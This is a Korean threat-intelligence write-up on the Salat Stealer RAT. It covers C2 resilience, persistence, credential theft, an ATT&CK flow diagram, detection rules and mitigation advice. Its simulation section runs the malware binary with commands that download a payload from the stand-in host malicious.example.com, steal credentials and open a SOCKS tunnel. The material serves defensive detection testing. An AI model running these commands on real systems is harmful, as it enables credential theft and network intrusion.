Salat Stealer 분석: Go 기반 RAT C2 복원력 및 정보 탈취 기능
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
Salat Stealer는 Go 기반의 원격 액세스 트로이목마로, 전체 기능을 갖춘 사후 익스플로잇 프레임워크입니다. 이것은 WebSocket, HTTP/2, HTTP/3, QUIC을 포함한 다중 통신 채널을 지원하며, 운영자에게 유연하고 탄력적인 명령 및 제어 옵션을 제공합니다. 멀웨어는 또한 광범위한 자격 증명 도난 기능을 포함하여 브라우저 데이터, 암호화폐 지갑, 키 입력, 스크린샷 및 SOCKS5를 통한 네트워크 피봇팅을 목표로 합니다. 재부팅 후에도 생존하기 위해 숨겨진 파일 복사본, 예약된 작업 및 실행 레지스트리 키를 사용합니다. 주요 인프라가 중단되면, 이 멀웨어는 TON 블록체인 통해 업데이트된 명령 및 제어 세부 정보를 검색할 수 있습니다.
조사
분석은 멀웨어가 희생자의 호스트 이름과 결합된 정적 문자열에서 암호화 키를 유도한 다음 이를 사용하여 5개의 내장 명령 및 제어 URL을 복호화하는 방법을 설명합니다. 연구원들은 또한 Salat Stealer가 전송 프로토콜을 선택하고, 운영자 명령을 처리하고, 권한 상승을 시도하며, 호스트에 복수의 지속성 방법을 배포하는 방법을 문서화했습니다. 보고서는 또한 도난된 데이터의 범위와 공격자가 사용할 수 있는 보다 광범위한 원격 액세스 기능을 개요로 설명합니다.
완화
방어자들은 확인된 명령 및 제어 URL로의 연결뿐만 아니라 알려지지 않은 목적지로의 예기치 않은 QUIC 및 WebSocket 트래픽을 감시해야 합니다. 보안 팀은 또한 숨겨진 예약 작업과 알 수 없는 실행 파일을 가리키는 의심스러운 실행 키 항목을 감시해야 합니다. 애플리케이션 허용 목록 작성 및 엄격한 실행 제어는 Go 기반의 페이로드 실행을 방지하는 데 도움이 될 수 있습니다. 네트워크 세분화와 TLS 검사는 멀웨어와 관련된 수상한 외부 트래픽에 대한 가시성을 높일 수 있습니다.
대응
Salat Stealer의 활동이 감지되면, 감염된 시스템을 즉시 격리하고 메모리 및 디스크 이미지를 수집하며 악성 프로세스를 종료해야 합니다. 멀웨어가 사용하는 예약 작업, 실행 키 항목 및 숨겨진 파일 복사본을 포함한 모든 지속성 아티팩트를 제거하세요. 확인된 명령 및 제어 도메인은 차단되어야 하며, 폴백 인프라 발견에 사용되는 모든 관련 TON 블록체인 조회도 차단되어야 합니다. 노출된 자격 증명과 암호화폐 지갑은 지체 없이 회전하거나 보호해야 합니다.
"그래프 TB %% 클래스 정의 classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccffcc %% 멀웨어 정의 malware_salatr["<b>멀웨어</b> – <b>이름</b>: Salat Stealer (Go RAT)<br/><b>설명</b>: 도난, 지속성 및 횡적 이동에 사용되는 Go 기반 원격 액세스 트로이목마."] class malware_salatr malware %% 초기 실행 프로세스 process_start["<b>프로세스</b> – <b>이름</b>: SalatStealer.exe<br/><b>작업</b>: 시작, 자신의 경로 검색, 기존 인스턴스 확인, UAC 우회 가능.<br/><b>기술</b>: T1548.002 사용자 계정 컨트롤 우회<br/><b>기술</b>: T1027.008 난독화/저장된 파일"] class process_start process malware_salatr –>|실행| process_start %% 지속성 메커니즘 persistence_task["<b>작업</b> – <b>T1053.005 예약 작업</b>: 탐색기(explorer.exe) 이름을 가장하여 숨겨진 예약 작업 생성."] class persistence_task action persistence_reg["<b>작업</b> – <b>T1547.001 레지스트리 실행 키/시작 폴더</b>: svchost.exe로 가장한 HKCURun 항목."] class persistence_reg action process_start –>|생성| persistence_task process_start –>|생성| persistence_reg %% 방어 회피 defense_evasion["<b>작업</b> – <b>T1027 난독화된 파일</b>: 문자 모드로 난독화하고 기기 별 키 파생."] class defense_evasion action process_start –>|적용| defense_evasion %% 시스템 검색 discovery["<b>작업</b> – <b>T1082 시스템 정보 검색</b>: OS, CPU, GPU, RAM, 활동 창 제목, 관리자 상태 변환 등을 수집하고 에이전트 식별자를 생성합니다."] class discovery action process_start –>|수행| discovery %% 자격 증명 액세스 credential_access["<b>작업</b> – <b>T1555.003 웹 브라우저에서 자격 증명</b>: Chromium, Firefox, Discord, Steam 브라우저 및 DPAPI로 암호화된 암호를 덤프합니다.<br/><b>추가 기술</b>: T1056.001 키로깅, T1115 클립보드 데이터."] class credential_access action process_start –>|수행| credential_access %% 데이터 수집 collection["<b>작업</b> – <b>T1113 스크린샷</b>, <b>T1125 비디오 캡처</b>, <b>T1560.001 유틸리티를 통한 아카이브</b>: 화면, 웹캠 비디오를 캡처하고 데이터를 ZIP 파일로 아카이브합니다."] class collection action credential_access –>|수집| collection %% 명령 및 제어 c2["<b>작업</b> – <b>T1071.005 WebSocket</b> 및 <b>T1071.001 웹 프로토콜</b>: 암호화된 URL로 QUIC/WebSocket을 통해 통신하며 대체 종료 지점 및 TON 블록체인으로 폴백.<br/><b>기술</b>: T1008 폴백 채널"] class c2 action collection –>|infiltrates via| c2 %% 자료 횡령 exfiltration["<b>작업</b> – <b>T1041 C2 채널을 통한 자료 횡령</b>, <b>T1048 대체 프로토콜을 통한 자료 횡령</b>, <b>T1020 자동 자료 횡령</b>: 아카이브화된 데이터와 도난된 자격 증명을 보냅니다."] class exfiltration action c2 –>|데이터 전송| exfiltration %% 원격 명령 실행 command_exec["<b>작업</b> – <b>T1059.003 Windows 명령 쉘</b>: 공격자로부터 명령 줄 지시를 수신하고 실행.<br/><b>기술</b>: T1090.001 터널링을 위한 SOCKS5 프록시."] class command_exec action exfiltration –>|명령 수신| command_exec %% 프록시를 통한 횡적 이동 lateral["<b>작업</b> – <b>T1090.001 프록시 (SOCKS5)</b>: 피봇팅과 횡적 이동을 위해 내부 SOCKS5 터널을 확립."] class lateral action command_exec –>|확립| lateral "
공격 흐름
탐지
수상한 명령 및 제어에 의한 비정상 최상위 도메인(TLD) DNS 요청 (dns 사용)
보기
가능한 지속성 지점 [ASEPs – 소프트웨어/NTUSER 하이브] (레지스트리 이벤트 사용)
보기
비정상 경로에서의 시스템 프로세스 실행 (프로세스 생성 사용)
보기
IOCs (HashSha256) 탐지 대상: Salat Stealer 분석 Go 기반 RAT C2 회복력 및 정보 탈취 기능
보기
IOCs (HashSha1) 탐지 대상: Salat Stealer 분석 Go 기반 RAT C2 회복력 및 정보 탈취 기능
보기
IOCs (HashMd5) 탐지 대상: Salat Stealer 분석 Go 기반 RAT C2 회복력 및 정보 탈취 기능
보기
Salat Stealer RAT 활동 탐지 [Windows Sysmon]
보기
Salat Stealer C2 통신 패턴 탐지 [Windows 네트워크 연결]
보기
Salat Stealer 실행 및 모드 탐지 [Windows 프로세스 생성]
보기
시뮬레이션 실행
사전 조건: 텔레메트리 및 기준선 사전 비행 검사가 통과해야 합니다.
근거: 이 섹션은 탐지 규칙을 트리거하기 위해 설계된 적 기법(TTP)의 정확한 실행을 상세히 설명합니다. 명령 및 설명은 식별된 TTPs를 직접 반영하고 탐지 논리에서 기대되는 정확한 텔레메트리를 생성하는 것을 목표로 해야 합니다.
-
공격 내러티브 및 명령:
공격자는 피싱 첨부 파일을 통해 피해자 호스트로 Salat RAT 이진 파일을 (salat.exe) 배송했습니다. 낮은 권한의 발판을 확보한 후, 공격자는 특정 인수를 사용하여 이진 파일을 실행합니다:- 이차 페이로드 다운로드 –
main.downloadFile https://malicious.example.com/payload.exe. - 저장 자격 증명 도난 –
main.Steal -module credentials. - 측면 이동을 위한 피어 투 피어 SOCKS 터널 설정 –
main.p2pSocks -listen 1080 -remote 10.0.0.5:4444.
바이너리는 승격된 파워셸 세션에서 실행되어 상승 요구사항을 충족합니다 (T1548). 각 호출은 해당 명령줄과 매칭되는 Sigma 규칙의 문자열과 함께 개별 Sysmon 프로세스 생성으로 표시됩니다.
- 이차 페이로드 다운로드 –
-
회귀 테스트 스크립트:
# ------------------------------------------------- # Salat RAT 시뮬레이션 스크립트 – 탐지를 트리거합니다 # ------------------------------------------------- $binaryPath = "C:Tempsalat.exe" # 바이너리가 있는지 확인하세요 (플레이스홀더 – 실제 테스트에서는 바이너리가 미리 준비되어 있어야 합니다) if (-Not (Test-Path $binaryPath)) { Write-Error "Salat 바이너리가 $binaryPath에 없습니다" exit 1 } # 1. 이차 페이로드 다운로드 Start-Process -FilePath $binaryPath -ArgumentList "main.downloadFile https://malicious.example.com/payload.exe" -Wait # 2. 자격 증명 도난 Start-Process -FilePath $binaryPath -ArgumentList "main.Steal -module credentials" -Wait # 3. P2P SOCKS 터널 열기 Start-Process -FilePath $binaryPath -ArgumentList "main.p2pSocks -listen 1080 -remote 10.0.0.5:4444" -Wait Write-Host "시뮬레이션이 완료되었습니다." -
정리 명령:
# ------------------------------------------------- # Salat RAT 시뮬레이션 정리 # ------------------------------------------------- # 남아있는 Salat 프로세스를 종료합니다 Get-Process -Name "salat" -ErrorAction SilentlyContinue | Stop-Process -Force # 바이너리를 제거합니다 (허용된다면) $binaryPath = "C:Tempsalat.exe" if (Test-Path $binaryPath) { Remove-Item $binaryPath -Force Write-Host "$binaryPath를 제거했습니다" } # 관련된 Sysmon 이벤트를 테스트 인덱스에서 선택적으로 지웁니다 (Splunk 예시) # splunk cmd search '| delete index=main host="test-host" sourcetype="Sysmon" earliest=-24h latest=now'